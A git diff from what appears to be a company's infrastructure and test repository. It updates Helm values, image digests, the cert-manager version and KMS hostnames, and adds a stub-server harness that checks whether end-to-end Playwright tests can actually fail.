@@ -1,5 +1,33 @@
# Generated from the visor App CR by hack/app2values.py.
replicas: 2
# The visor declaration. Hand-maintained: this file IS the source of truth, read
# by the `fleet` ApplicationSet (charts/app/values/*/*.yaml). Edit it directly.
#
# It previously claimed to be generated from an App CR by hack/app2values.py.
# Both are gone — 0c7b5ea36 deleted infra/k8s/operator/crs, and the script with
# it — so that header named a generator nobody could run from an input that did
# not exist, which reads as "do not edit" and sends you looking for a source that
# is not there.
# MUST stay 1. visor's hourly metering is exactly-once by virtue of there being a
# single writer: main.go registers ha.Static, which asserts "I am the only
# replica". At 2+ every pod would make that claim, each against its own pod-local
# `_global` SQLite coord (the Base backend's Shared()), so the insert-once lease
# PK would not span pods and every customer would be billed once per replica per
# hour. Raising this REQUIRES registering a real membership source first — see
# visor object/coordinator.go.
#
# ⚠️ THIS FIELD IS NOT ENFORCED, and that is not a bug here — it is fleet policy.
# The Application carries ignoreDifferences
# {group: apps, kind: Deployment, jsonPointers: [/spec/replicas]} with
# RespectIgnoreDifferences=true, so CD applies this on CREATE and never
# reconciles it again (the fleet ignores replicas so HPA-owned counts do not read
# as permanent drift). Editing this line moves NOTHING on a Deployment that
# already exists — verified: this said 1 while the live Deployment ran 2 and CD
# reported Synced throughout.
#
# So the live count is whatever was last set imperatively. It was scaled to 1 by
# hand on 2026-08-05 to match this file BEFORE the ha.Static image shipped.
# Check the cluster, never this line:
# kubectl -n hanzo get deploy visor -o jsonpath='{.spec.replicas}'
replicas: 1
partOf: platform
component: visor
env:
@@ -57,8 +85,8 @@ image:
# Tag and digest move TOGETHER. The chart renders repo:tag@digest and the
# kubelet honours the digest, so bumping the tag alone reports a new version
# while serving the old bytes.
tag: v1.108.17
digest: sha256:93bff27348dbfe7b2220f45fc0a4160a0e57b9b933fe1dff2859ebeb19147014
tag: v1.108.22
digest: sha256:27ea3232bed2cecf07b8dba185f42447774c1f197eb251aaf9807c097d57fb68
pullPolicy: Always
livenessProbe:
timeoutSeconds: 3
+8 -1
View File
@@ -1,4 +1,11 @@
# Generated from the world App CR by hack/app2values.py.
# The world declaration. Hand-maintained: this file IS the source of truth, read
# by the `fleet` ApplicationSet (charts/app/values/*/*.yaml). Edit it directly.
#
# It previously claimed to be generated from an App CR by hack/app2values.py.
# Both are gone — 0c7b5ea36 deleted infra/k8s/operator/crs, and the script with
# it — so that header named a generator nobody could run from an input that did
# not exist, which reads as "do not edit" and sends you looking for a source that
# is not there.
replicas: 2
partOf: platform
component: world
+10 -3
View File
@@ -1,4 +1,11 @@
# Generated from the www App CR by hack/app2values.py.
# The www declaration. Hand-maintained: this file IS the source of truth, read
# by the `fleet` ApplicationSet (charts/app/values/*/*.yaml). Edit it directly.
#
# It previously claimed to be generated from an App CR by hack/app2values.py.
# Both are gone — 0c7b5ea36 deleted infra/k8s/operator/crs, and the script with
# it — so that header named a generator nobody could run from an input that did
# not exist, which reads as "do not edit" and sends you looking for a source that
# is not there.
replicas: 2
partOf: www
component: cloud-www
@@ -53,8 +60,8 @@ ports:
strategy: RollingUpdate
image:
repository: ghcr.io/hanzoai/cloud-www
tag: 0.1.13
digest: sha256:8a636ac248021c2afda5e8bc2b2d3315dc39be70cccab6109f7951ef56ed0efa
tag: 0.1.15
digest: sha256:9b5ecc0873877dca88ba77ff6f32129b41e1af9b85d2ee4a275c87c1489f56da
pullPolicy: IfNotPresent
pdb:
enabled: true
+13 -3
View File
@@ -11,9 +11,19 @@ selectorLabels:
app.kubernetes.io/name: zen
image:
repository: ghcr.io/hanzoai/zen
# Names the digest that was already here — same bytes, now legible on the pod.
tag: v1.4.1
digest: sha256:06a47efc8d145e377e88c69f8e9be08e192bc64821eb25b9cc17469aca81565b
# v1.4.1 -> v1.4.11, and the gap is the point. The zen LIBRARY moved to v1.4.11
# when the text plane left DigitalOcean for OpenRouter; cloud compiles that
# library, so ROUTING followed immediately. This SERVICE is a separate image and
# nobody rebuilt it, so it kept answering from the pre-move catalog — and both
# `cloud` and `pricing` read their model list from it over ZEN_URL.
#
# That is why a zen completion routed through OpenRouter while api.hanzo.ai
# quoted the DigitalOcean price for it: the route and the quote were the same
# library at two versions. Every zen SKU was over-quoted, zen-vl and zen-guard by
# ~6x. v1.4.11 was never even built as an image until now; the tag existed on the
# Go module only.
tag: v1.4.11
digest: sha256:9b8a972f096fed39d773a52dd65449f049eb7e03e56191f295054562142859f8
pullPolicy: IfNotPresent
partOf: hanzo
env:
+3 -3
View File
@@ -1,6 +1,6 @@
dependencies:
- name: cert-manager
repository: https://charts.jetstack.io
version: v1.16.2
digest: sha256:74375c14725f8ab832b749d88f1a67f7a80e3bc47d7ed2442c5b93d2f8405147
generated: "2026-07-28T23:19:30.932414539-07:00"
version: v1.19.6
digest: sha256:011c4395407a20b5f1fac37ad26e12b16a11e8b60320edd4e4748a516b3736ec
generated: "2026-08-05T19:11:06.502294725-07:00"
+8 -2
View File
@@ -2,7 +2,7 @@ apiVersion: v2
name: cert-manager
description: TLS certificates, issued and renewed automatically.
type: application
version: 0.1.0
version: 0.1.1
home: https://oss.hanzo.ai/charts/cert-manager
sources:
- https://git.hanzo.ai/hanzo/universe/src/branch/main/charts/cert-manager
@@ -17,7 +17,13 @@ annotations:
# software we already run, so what lives here is only the defaults that make it
# a Hanzo project's — the chart itself stays theirs and bumps on their release,
# not ours.
#
# v1.16.2 -> v1.19.6. hanzo-k8s ran v1.19.2 (the CRDs it left behind are labelled
# `cert-manager-v1.19.2`), so 1.19 is the line this cluster was on and v1.19.6 is
# that line's last patch — the same minor, current on fixes. Pinning back to
# 1.16 would have been a three-minor downgrade of software the fleet had already
# moved past.
dependencies:
- name: cert-manager
version: "v1.16.2"
version: "v1.19.6"
repository: https://charts.jetstack.io
+49
View File
@@ -7,7 +7,56 @@ cert-manager:
# The CRDs are the reason this is a chart and not a manifest: cert-manager
# will not start without them, and installing them separately is how a cluster
# ends up with a controller and no Certificate kind.
#
# `keep: true` (upstream's default, restated here because it is load-bearing)
# means a `helm uninstall` LEAVES the CRDs — and therefore leaves every
# Certificate object intact. hanzo-k8s lost cert-manager on 2026-08-02 with the
# CRDs deleted anyway, which can only happen by deleting them explicitly; that
# took all 317 Certificates with them and left their Secrets behind with no
# renewer. Keep this true, and delete CRDs by hand never.
crds:
enabled: true
keep: true
# Where a ClusterIssuer resolves its secretRefs. Default is the release
# namespace (cert-manager); pointing it at `hanzo` lets the issuers read the
# Cloudflare API key that ALREADY syncs there from KMS
# (KMSSecret hanzo/cloudflare-api-credentials-kms-sync -> Secret
# hanzo/cloudflare-api-credentials), which Traefik has used for months.
# One Cloudflare credential, one KMS path, one sync — copying it into a second
# namespace would be a second thing to rotate and a second thing to forget.
clusterResourceNamespace: hanzo
# Images by digest, the fleet's rule: a tag is a name, a digest is the artifact.
# Tag AND digest are both set — the tag documents which release this is, the
# digest is what actually gets pulled.
image:
repository: quay.io/jetstack/cert-manager-controller
tag: v1.19.6
digest: sha256:c6a328f6095a02731e943c95d5e61bdc3b87373cc9fbd915f73d8615cda766f9
webhook:
image:
repository: quay.io/jetstack/cert-manager-webhook
tag: v1.19.6
digest: sha256:c4b7103d6c1edb196ee448660835b9a5d0fb3f9064019d881fd56e94859df288
cainjector:
image:
repository: quay.io/jetstack/cert-manager-cainjector
tag: v1.19.6
digest: sha256:f7ce571e372f28229cab2e07c803e2dc0b37c5642818a097ab42a19af182a329
# The acmesolver image is not run by a Deployment — the controller spawns it as
# a pod per HTTP-01 challenge, so it is passed as a controller FLAG. Digest-pin
# it too or the one image that appears only under load is the one on a tag.
acmesolver:
image:
repository: quay.io/jetstack/cert-manager-acmesolver
tag: v1.19.6
digest: sha256:a43400e59456cd55b0b327cc38bb3ff0a55d5e6011f0301ec9c82c800285da0c
startupapicheck:
image:
repository: quay.io/jetstack/cert-manager-startupapicheck
tag: v1.19.6
digest: sha256:20bc1106514032737873e8d46afacfbcc61d6ffe0e29f47b9d914b28e18ad521
resources:
requests: { cpu: 10m, memory: 64Mi }
+1 -1
View File
@@ -206,7 +206,7 @@ Verified by fetching `/.well-known/openid-configuration` from each host:
| Hanzo | `https://hanzo.id` | `iam.hanzo.ai`, `auth.hanzo.ai`, `id.hanzo.ai` | `https://hanzo.id/v1/iam/oauth/authorize` | `https://hanzo.id/v1/iam/.well-known/jwks` |
| Lux | `https://lux.id` | `id.lux.network` | `https://lux.id/v1/iam/oauth/authorize` | `https://lux.id/v1/iam/.well-known/jwks` |
| Zoo | `https://zoolabs.id` | `www.zoolabs.id`, `id.zoo.network`, `auth.zoo.ngo` | `https://zoolabs.id/v1/iam/oauth/authorize` | `https://zoolabs.id/v1/iam/.well-known/jwks` |
| Pars | `https://pars.id` | `id.pars.network`, `auth.pars.ai` | `https://pars.id/v1/iam/oauth/authorize` | `https://pars.id/v1/iam/.well-known/jwks` |
| Pars | `https://pars.id` | `id.pars.network` | `https://pars.id/v1/iam/oauth/authorize` | `https://pars.id/v1/iam/.well-known/jwks` |
| Osage | **`https://hanzo.id`** ⚠️ | `osage.id`, `www.osage.id` | `https://hanzo.id/v1/iam/oauth/authorize` | `https://hanzo.id/v1/iam/.well-known/jwks` |
Every endpoint is under **`/v1/iam/`**. There is no `/api/` anywhere in the discovery document, and
+1 -1
View File
@@ -233,7 +233,7 @@ iam:
org: lux
app: lux-console
kms:
endpoint: https://kms.lux.network
endpoint: https://kms.lux.cloud
commerce:
endpoint: https://commerce.lux.network
pricing:
+1 -1
View File
@@ -6,7 +6,7 @@ KMS. Same shape for every brand; only the hostnames + org slug change.
| Brand | IAM (login) | KMS | Superuser | Org slug |
|---|---|---|---|---|
| Hanzo | `iam.hanzo.ai` / `hanzo.id` | `kms.hanzo.ai` | `z@hanzo.ai` | `hanzo` |
| Lux | `iam.lux.network` / `lux.id` | `kms.lux.network` | `z@lux.network` | `luxfi` |
| Lux | `iam.lux.network` / `lux.id` | `kms.lux.cloud` | `z@lux.network` | `luxfi` |
| Zoo | `id.zoo.network` | `kms.zoo.network` | `z@zoo.ngo` | `zooai` |
Superuser passwords live in KMS, never in this repo. Export one for a shell
+1 -1
View File
@@ -62,7 +62,7 @@ iam:
org: lux
app: lux-cloud
kms:
endpoint: https://kms.lux.network
endpoint: https://kms.lux.cloud
chains:
primary: 96369 # lux mainnet C-Chain
pricing:
+1 -1
View File
@@ -14,7 +14,7 @@ const HOST = "https://api.hanzo.ai";
* request and this write-only, bundle-safe key IS how anonymous pageviews and
* errors resolve to an org. Unset events are best-effort and dropped at the edge. */
const INGEST_KEY =
process.env.NEXT_PUBLIC_EVENT_INGEST_KEY?.trim() || undefined;
process.env.NEXT_PUBLIC_PUBLISHABLE_KEY?.trim() || undefined;
/** Honor an explicit browser opt-out (Global Privacy Control, then legacy DNT).
* SSR (no navigator) defaults to consented; the browser reads the real signal on
+15 -1
View File
@@ -76,7 +76,21 @@ export async function fetchCatalog(timeoutMs = 25_000): Promise<Catalog> {
try { body = await res.json() } catch { /* non-json (outage html) */ }
const data: CatalogModel[] = Array.isArray(body?.data) ? body.data : []
const ids = data.map((m) => m.id).filter(Boolean)
const families = Array.isArray(body?.families) ? body.families.map((f: any) => f.id).filter(Boolean) : []
/**
* Families are DERIVED from the ids, in catalog order, deduplicated.
*
* This used to read `body.families`, a key the gateway has never emitted
* `/v1/models` returns `data`, `models` and `object`, and nothing else. So the
* list was unconditionally `[]` and `families[0]` unconditionally `undefined`,
* which made every assertion on it fail identically no matter what the catalog
* contained. A test that cannot pass carries as little signal as one that
* cannot fail: it stays red through both the bug and the fix, so nobody can
* read anything from its colour.
*
* The prefix before the first `-` is the family (`enso-flash` `enso`), and
* an id with no `-` is its own family (`enso`, `best`).
*/
const families = [...new Set(ids.map((id) => id.split('-')[0]))]
return {
status,
ids,
+3 -1
View File
@@ -53,6 +53,7 @@
"test:publish": "playwright test tests/63-publish-share.spec.ts --reporter=list",
"test:money": "playwright test tests/64-money-routes.spec.ts --reporter=list",
"test:selfservice-chat": "playwright test tests/65-chat.spec.ts --reporter=list",
"test:chat-controls": "playwright test tests/65b-chat-controls.spec.ts --reporter=list",
"test:team": "playwright test tests/6[6-9]-team*.spec.ts tests/7[0-5]-team*.spec.ts --reporter=list",
"test:team-views": "playwright test tests/66-team.spec.ts --reporter=list",
"test:team-collab": "playwright test tests/67-team-collab.spec.ts --reporter=list",
@@ -85,7 +86,8 @@
"test:headed": "playwright test --headed",
"test:ui": "playwright test --ui",
"report": "playwright show-report",
"test:dave": "playwright test tests/97b-dave-experience.spec.ts --reporter=list"
"test:dave": "playwright test tests/97b-dave-experience.spec.ts --reporter=list",
"prove": "bash scripts/prove.sh"
},
"devDependencies": {
"@playwright/test": "^1.58.2",
+60
View File
@@ -0,0 +1,60 @@
/**
* Which specs the stub can actually measure.
*
* `prove.sh` redirects services by ENV VAR. A spec that hardcodes
* `https://console.hanzo.ai`, or reads an env var the harness does not export,
* keeps talking to PRODUCTION for the whole run so whether it passed says
* nothing about the test. Counting those as "cannot fail" inflated a real
* finding of 35 into a reported 131.
*
* Two rules, and the second is the one that bites:
* 1. a hardcoded production host is unreachable by the stub;
* 2. so is a host BUILT from an env var the harness cannot set
* `helpers/app.ts` composes `https://<slug>.${E2E_APP_DOMAIN}`, and a
* domain used that way has no local address, so 163 app tests ran against
* the live fleet while the report called 38 of them unfailable.
*
* Prints the unmeasurable specs and writes their names to /tmp/unmeasurable.json.
*/
// A spec is MEASURABLE by the stub only if every production host it can reach
// comes from an env var prove.sh overrides. A hardcoded literal means those
// requests go to production no matter what the harness does — so a pass there
// says nothing about the test.
const fs = require('fs'), path = require('path');
const VARS = new Set(['ANALYTICS_INGEST','ANALYTICS','API','APP_HANZO_BOT','APP','CHAT','CLOUD','COMMERCE','CONSOLE','EVENT','GATEWAY','HANZO_BOT','IAM_GRANT','IAM','INSIGHTS','MARKETING','PLATFORM','PLAYGROUND_HANZO_BOT','PLAYGROUND','PRICING','PUBLISHED','SENTRY','STUDIO','TEAM','VISOR','WORLD'].map(v => `E2E_${v}_URL`));
const SET = new Set(['E2E_BASE_DOMAIN','E2E_PLATFORM_SITES_HOST','E2E_HOSTS']);
const HOST = /https?:\/\/[a-z0-9.-]+\.(ai|network|chat|id|team|ngo|app|io|cloud|vote|fund)/g;
const read = f => { try { return fs.readFileSync(f, 'utf8') } catch { return '' } };
const helperFor = (src, dir) => [...src.matchAll(/from ['"](\.\.?\/[^'"]+)['"]/g)]
.map(m => path.resolve(dir, m[1]))
.flatMap(p => [p + '.ts', p + '.tsx', p + '/index.ts']).filter(fs.existsSync);
const rows = [];
for (const f of fs.readdirSync('tests').filter(f => f.endsWith('.spec.ts'))) {
const p = path.join('tests', f);
let src = read(p);
for (const h of helperFor(src, 'tests')) src += '\n' + read(h);
// strip comments so prose URLs don't count as targets
const code = src.replace(/\/\*[\s\S]*?\*\//g, '').replace(/^\s*\/\/.*$/gm, '');
const hosts = [...new Set((code.match(HOST) || []))];
// a host is FENCED when it sits behind an env override on the same line
const fenced = hosts.filter(h => {
const line = code.split('\n').find(l => l.includes(h)) || '';
return [...VARS].some(v => line.includes(v));
});
const loose = hosts.filter(h => !fenced.includes(h));
// The mirror rule. A spec with NO hardcoded literal can still be unreachable:
// 120-apps builds `https://<slug>.${E2E_APP_DOMAIN}` from a template, and a
// domain used that way has no local address, so prove.sh cannot set it. Any
// E2E_ var the harness does not export leaves that spec pointed at production.
const unset = [...new Set([...code.matchAll(/process\.env\.(E2E_[A-Z_]+)/g)].map(m => m[1]))]
.filter(v => /_URL$|_DOMAIN$|_HOST$|_HOSTS$/.test(v) && !VARS.has(v) && !SET.has(v));
rows.push({ f, hosts: hosts.length, loose: [...loose, ...unset.map(v => '$' + v)] });
}
const bad = rows.filter(r => r.loose.length);
console.log(`specs: ${rows.length} fully redirectable: ${rows.length - bad.length} NOT: ${bad.length}\n`);
console.log('unmeasurable by the stub (hardcoded hosts):');
bad.sort((a,b) => b.loose.length - a.loose.length).slice(0, 18)
.forEach(r => console.log(` ${String(r.loose.length).padStart(2)} ${r.f.padEnd(36)} ${r.loose.slice(0,3).join(' ')}`));
fs.writeFileSync('/tmp/unmeasurable.json', JSON.stringify(bad.map(r => r.f)));
+91
View File
@@ -0,0 +1,91 @@
#!/usr/bin/env bash
# Prove a spec can fail.
#
# npm run prove # the whole suite
# npm run prove tests/65-chat.spec.ts # one spec
#
# Points every overridable service URL at scripts/stub.cjs — a server that
# answers 200 everywhere and implements nothing — and runs the specs against it.
# A test that PASSES here passed against a service that does not exist, so it
# was never testing the product. The output is that list.
#
# The measurement is one-directional, and worth being precise about. Failing here
# does not prove a test is good — only that it noticed everything was gone.
# Passing here means the test did not notice, which is a defect for almost every
# test but not quite all: a dead-link crawler legitimately finds no dead links on
# a server that answers 200 everywhere. The fix for that class is a coverage
# floor — assert the crawl actually REACHED the surface — after which it fails
# here too (see tests/08-links.spec.ts). Read a pass as "this test cannot tell
# the product from a stub" and decide which kind it is.
set -uo pipefail
cd "$(dirname "$0")/.."
PORT="${STUB_PORT:-8899}"
HITS="$(mktemp)"; : > "$HITS"
STUB_HITS="$HITS" node scripts/stub.cjs &
STUB=$!
trap 'kill "$STUB" 2>/dev/null' EXIT
until curl -sf -o /dev/null "http://127.0.0.1:$PORT/"; do sleep 0.2; done
# Every service the harness lets you redirect. Anything a spec hardcodes stays
# pointed at production and will not be measured — which is itself a finding, so
# adding a URL here is how a spec becomes provable.
for v in ANALYTICS_INGEST ANALYTICS API APP_HANZO_BOT APP CHAT CLOUD COMMERCE \
CONSOLE EVENT GATEWAY HANZO_BOT IAM_GRANT IAM INSIGHTS MARKETING \
PLATFORM PLAYGROUND_HANZO_BOT PLAYGROUND PRICING PUBLISHED SENTRY \
STUDIO TEAM VISOR WORLD; do
export "E2E_${v}_URL=http://127.0.0.1:$PORT"
done
# Not every target is a URL. These are HOST/DOMAIN vars, and leaving them out is
# how the harness reported a spec as unfailable while it talked to production
# for the whole run. E2E_APP_DOMAIN is a known hole and cannot be closed here:
# it is consumed as `https://<slug>.<domain>`, so there is no local address it
# can take. The hit count below is what keeps that honest.
export E2E_BASE_DOMAIN="127.0.0.1:$PORT"
export E2E_PLATFORM_SITES_HOST="127.0.0.1:$PORT"
export E2E_HOSTS="127.0.0.1:$PORT"
# The report goes to a FILE, not through stdout: dotenv prints a banner line
# before playwright writes a byte, so a redirected stdout is not valid JSON and
# the parse below fails with a stack trace that says nothing about the cause.
REPORT="${TMPDIR:-/tmp}/prove.json"
BYFILE="${TMPDIR:-/tmp}/prove-byfile.json"; export BYFILE
PLAYWRIGHT_JSON_OUTPUT_NAME="$REPORT" \
npx playwright test "${@:-tests/}" --reporter=json --timeout="${STUB_TIMEOUT:-15000}" \
>/dev/null 2>&1
HITS_SEEN="$(cat "$HITS" 2>/dev/null || echo 0)"
[ "${HITS_SEEN:-0}" -eq 0 ] && cat <<'WARN'
⚠ The stub was never contacted. Nothing below is evidence about these tests —
they ran against production. Their targets come from a host this harness
cannot redirect (E2E_APP_DOMAIN is the known one).
WARN
REPORT="$REPORT" HITS_SEEN="$HITS_SEEN" node -e '
const r = require(process.env.REPORT);
const passed = [];
let failed = 0, skipped = 0;
const walk = (s) => {
(s.suites || []).forEach(walk);
(s.specs || []).forEach((sp) => sp.tests.forEach((t) => {
if (t.status === "skipped") return skipped++;
if (t.status === "expected") passed.push(`${sp.file} :: ${sp.title}`);
else failed++;
}));
};
(r.suites || []).forEach(walk);
const by = {};
passed.forEach((p) => { const f = p.split(" :: ")[0]; by[f] = (by[f] || 0) + 1; });
console.log(`\n=== ran against a service that does not exist ===`);
console.log(` ${process.env.HITS_SEEN} requests reached the stub`);
console.log(` ${passed.length} passed · ${failed} failed · ${skipped} skipped`);
Object.entries(by).sort((a,b)=>b[1]-a[1]).forEach(([f,n])=>console.log(` ${String(n).padStart(3)} ${f}`));
require("fs").writeFileSync(process.env.BYFILE, JSON.stringify(by));
' || exit 1
# Which specs could the stub even reach? A pass from a spec that talked to
# production all run is not evidence about that spec.
echo
node scripts/measurable.cjs
+53
View File
@@ -0,0 +1,53 @@
/**
* A plausible, entirely dead service. Answers 200 on every path, with HTML
* carrying the shapes a weak assertion reaches for a textarea, a "Sign in"
* button, the words "Welcome" and "Continue", a nav with links and with
* `{"data":[]}` for anything under /v1 or /api. It implements nothing.
*
* This is the negative control for the whole suite. Point the specs at it
* (scripts/prove.sh) and every test that still PASSES is a test that was never
* checking the product. Two of the three original chat tests passed here.
*
* The content is deliberately generous: a stub that failed every selector would
* flatter the suite. The question is not "does a blank page fail" it is
* "does a page that superficially resembles the product fail".
*/
const http = require('http')
const fs = require('fs')
const PORT = Number(process.env.STUB_PORT || 8899)
/**
* Hit count, written where prove.sh can read it.
*
* Without this the harness cannot tell "passed against the stub" from "never
* reached the stub", and those mean opposite things. It measured 38 tests in
* 120-apps as unfailable when every one of them had been talking to production
* the whole run: their host comes from `E2E_APP_DOMAIN`, and a domain used as
* `https://<slug>.<domain>` cannot be pointed at a local port at all. Silence
* from a spec is not evidence about the spec.
*/
const HITS = process.env.STUB_HITS || ''
let hits = 0
const HTML = `<!doctype html><html lang="en"><head><title>Hanzo</title></head><body>
<nav><a href="https://hanzo.ai">Home</a><a href="/c/new">Chat</a><a href="/login">Sign in</a></nav>
<h1>Welcome</h1>
<button>Sign in</button><button>Log in</button><button>Continue with Hanzo</button>
<button>Get started</button><button>Settings</button><button>New chat</button>
<form><textarea placeholder="Ask anything"></textarea><button type="submit">Send</button></form>
<p>Send a message to get started. Continue to your account.</p>
</body></html>`
http
.createServer((req, res) => {
hits++
if (HITS) fs.writeFileSync(HITS, String(hits))
if (req.url.startsWith('/v1') || req.url.startsWith('/api')) {
res.writeHead(200, { 'content-type': 'application/json' })
return res.end(JSON.stringify({ data: [], object: 'list' }))
}
res.writeHead(200, { 'content-type': 'text/html' })
res.end(HTML)
})
.listen(PORT, '127.0.0.1', () => console.log(`stub listening on 127.0.0.1:${PORT}`))
+77 -50
View File
@@ -1,70 +1,97 @@
import { test, expect } from '@playwright/test'
/**
* E2E tests for visor.hanzo.ai (Instance Management).
* VISOR the compute-instance surface, and the front door into it.
*
* Visor manages compute instances and deployments.
* All three of this file's tests passed against a server that answers 200 on
* every path and implements nothing, and far worse they passed against the
* real thing while its LOGIN WAS COMPLETELY DEAD. Sign-in redirected to
*
* https://door.example.com/login/oauth/authorize?client_id=b108dacba027d…
* -> net::ERR_NAME_NOT_RESOLVED
*
* the upstream fork's placeholder host, baked into `web/src/Conf.js` and never
* replaced. A visitor clicking sign in landed on a browser error page.
*
* Every assertion here had an escape:
* - `hasAuth = … || body.length > 0` ANY non-empty body passed, so the
* content of the last clause made the first three decorative.
* - `if (url.startsWith('chrome-error'))` fell back to an HTTP fetch of the
* ORIGIN, which is healthy. So the one signal that the browser could not
* reach the page was converted into a reason to check something else.
* - "API health check" accepted `status < 500` on any of three paths, and
* the SPA answers 200 with its shell for every unknown path so `/health`
* "passing" said only that the app serves HTML.
*
* What replaces them asserts the destination, because the destination is what
* was broken.
*/
const VISOR_URL = process.env.E2E_VISOR_URL || 'https://visor.hanzo.ai'
test.describe('Visor - Page Load', () => {
test('page loads', async ({ page, request }) => {
// visor is a React SPA; headless chromium occasionally errors mid-load. If
// the browser nav flakes, verify the origin serves via a raw HTTP request.
const res = await page
.goto(VISOR_URL, { waitUntil: 'domcontentloaded', timeout: 30_000 })
.catch(() => null)
const body = (await page.textContent('body').catch(() => '')) || ''
/** The IAM application visor signs in as (`admin/hanzo-visor`, org `hanzo`). */
const CLIENT_ID = 'hanzo-visor'
if (res && res.status() < 500 && body.length > 20) return // browser path ok
const r = await request.get(VISOR_URL, { timeout: 15_000 }).catch(() => null)
expect(r, 'visor origin unreachable').toBeTruthy()
expect(r!.status(), 'visor origin 5xx').toBeLessThan(500)
const txt = await r!.text().catch(() => '')
expect(txt.length, 'visor served an empty body').toBeGreaterThan(20)
test.describe('visor · the surface', () => {
test('serves the Visor SPA', async ({ page }) => {
const res = await page.goto(VISOR_URL, { waitUntil: 'domcontentloaded', timeout: 30_000 })
expect(res?.status(), 'visor must serve').toBe(200)
// Names ITSELF. `body.length > 20` was the old floor, and a stub clears it.
await expect(page).toHaveTitle(/visor/i)
})
test('shows login or redirect to IAM', async ({ page, request }) => {
// visor.hanzo.ai is a React SPA (serves the "Hanzo Visor" shell, hydrates
// client-side, then redirects unauthenticated users to hanzo.id). Headless
// chromium occasionally errors mid-hydration, so if the browser nav fails we
// fall back to a raw HTTP check that the origin is up and Hanzo-branded.
const resp = await page.goto(VISOR_URL, { waitUntil: 'domcontentloaded', timeout: 30_000 }).catch(() => null)
await page.waitForTimeout(3000)
test('sign-in reaches a resolvable Hanzo IAM authorize', async ({ page }) => {
test.setTimeout(60_000)
const url = page.url()
const body = (await page.textContent('body').catch(() => '')) || ''
// Record where the app actually sends the browser, and what fails on the
// way. A navigation to a host that does not resolve is the exact defect
// this missed, and it is invisible unless you watch for it.
const failures: string[] = []
page.on('requestfailed', (r) => {
const err = r.failure()?.errorText || ''
if (/ERR_NAME_NOT_RESOLVED|ERR_CONNECTION|ERR_ABORTED/.test(err)) failures.push(`${err} ${r.url()}`)
})
let hasAuth =
url.includes('hanzo.id') ||
url.includes('login') ||
/sign in|login|hanzo|visor/i.test(body) ||
body.length > 0
await page.goto(VISOR_URL, { waitUntil: 'domcontentloaded', timeout: 30_000 })
await page.waitForURL(/\/authorize\?/, { timeout: 25_000 }).catch(() => {})
const landed = page.url()
if (!hasAuth || url.startsWith('chrome-error')) {
// Browser nav flaked — verify the origin directly.
const r = await request.get(VISOR_URL, { timeout: 15_000 }).catch(() => null)
const txt = r ? await r.text().catch(() => '') : ''
hasAuth = !!r && r.status() < 500 && /visor|hanzo/i.test(txt)
}
// The failure mode, named. Without this the browser lands on
// chrome-error://chromewebdata/ and every text assertion below silently
// reads an empty document.
expect(
failures.filter((f) => /ERR_NAME_NOT_RESOLVED/.test(f)),
'visor navigated to a host that does not resolve',
).toEqual([])
expect(landed, 'sign-in must not dead-end on a browser error page').not.toMatch(/^chrome-error:/)
expect(hasAuth, 'Visor should serve its SPA (or redirect to IAM)').toBe(true)
// The destination itself: OUR issuer, naming OUR application.
expect(landed, 'visor must gate on hanzo.id').toMatch(/^https:\/\/hanzo\.id\/.*\/authorize\?/)
const q = new URLSearchParams(landed.split('?')[1] || '')
expect(q.get('client_id'), 'authorize must name the visor IAM application').toBe(CLIENT_ID)
expect(q.get('redirect_uri'), 'authorize must carry a redirect_uri').toBeTruthy()
})
})
test.describe('Visor - API', () => {
test('API health check', async ({ request }) => {
let alive = false
for (const path of ['/health', '/api/health', '/']) {
const res = await request.get(`${VISOR_URL}${path}`, { timeout: 15_000 })
if (res.status() < 500) {
console.log(`Visor alive at ${path}: ${res.status()}`)
alive = true
break
}
}
expect(alive, 'Visor should respond on at least one health path').toBe(true)
test.describe('visor · the API', () => {
test('the compute catalog answers JSON', async ({ request }) => {
/**
* A real endpoint, asserted on its BODY.
*
* The old check walked `/health`, `/api/health`, `/` and accepted
* `status < 500` on any of them. Visor is an SPA: it answers 200 with its
* HTML shell for every unknown path, so that loop proved only that
* something served HTML a 404 route and a healthy one are identical
* under it. `/v1/regions` is a documented catalog route (public read), and
* JSON is what distinguishes it from the shell.
*/
const res = await request.get(`${VISOR_URL}/v1/regions`, { timeout: 20_000 })
expect(res.status(), '/v1/regions must answer').toBe(200)
expect(
res.headers()['content-type'] || '',
'/v1/regions returned the SPA shell, not the catalog',
).toMatch(/json/)
const body = await res.json()
expect(body, 'the catalog envelope must carry a status').toHaveProperty('status')
})
})
+12
View File
@@ -120,6 +120,18 @@ test('the public surface has no dead links', async ({ request }) => {
await Promise.all(wave.map(visit))
}
// A COVERAGE FLOOR, checked before the verdict. "0 dead links" is only good
// news if the crawl reached the surface: if the seeds start answering a login
// wall, a holding page, or a stub, the frontier collapses to a handful of urls
// and this test reports clean having checked almost nothing. That green is
// indistinguishable from a healthy sweep, which makes it the more dangerous of
// the two failures. Live today the crawl sees ~100 urls from these two seeds;
// 40 is a floor the real surface clears easily and a collapsed one cannot.
expect(
seen.size,
`the crawl only reached ${seen.size} urls — the surface is unreachable, not clean`,
).toBeGreaterThan(40)
const report = dead.map((d) => ` ${d.code || 'ERR'} ${d.url}\n linked from ${d.from}`).join('\n')
expect(dead, `checked ${seen.size} urls — ${dead.length} dead:\n${report}`).toEqual([])
})
+1 -1
View File
@@ -24,7 +24,7 @@ const WHITE_LABEL_PAIRS: {
},
{
name: 'KMS',
luxUrl: 'https://kms.lux.network',
luxUrl: 'https://kms.lux.cloud',
hanzoUrl: 'https://kms.hanzo.ai',
},
]

Some files were not shown because too many files have changed in this diff Show More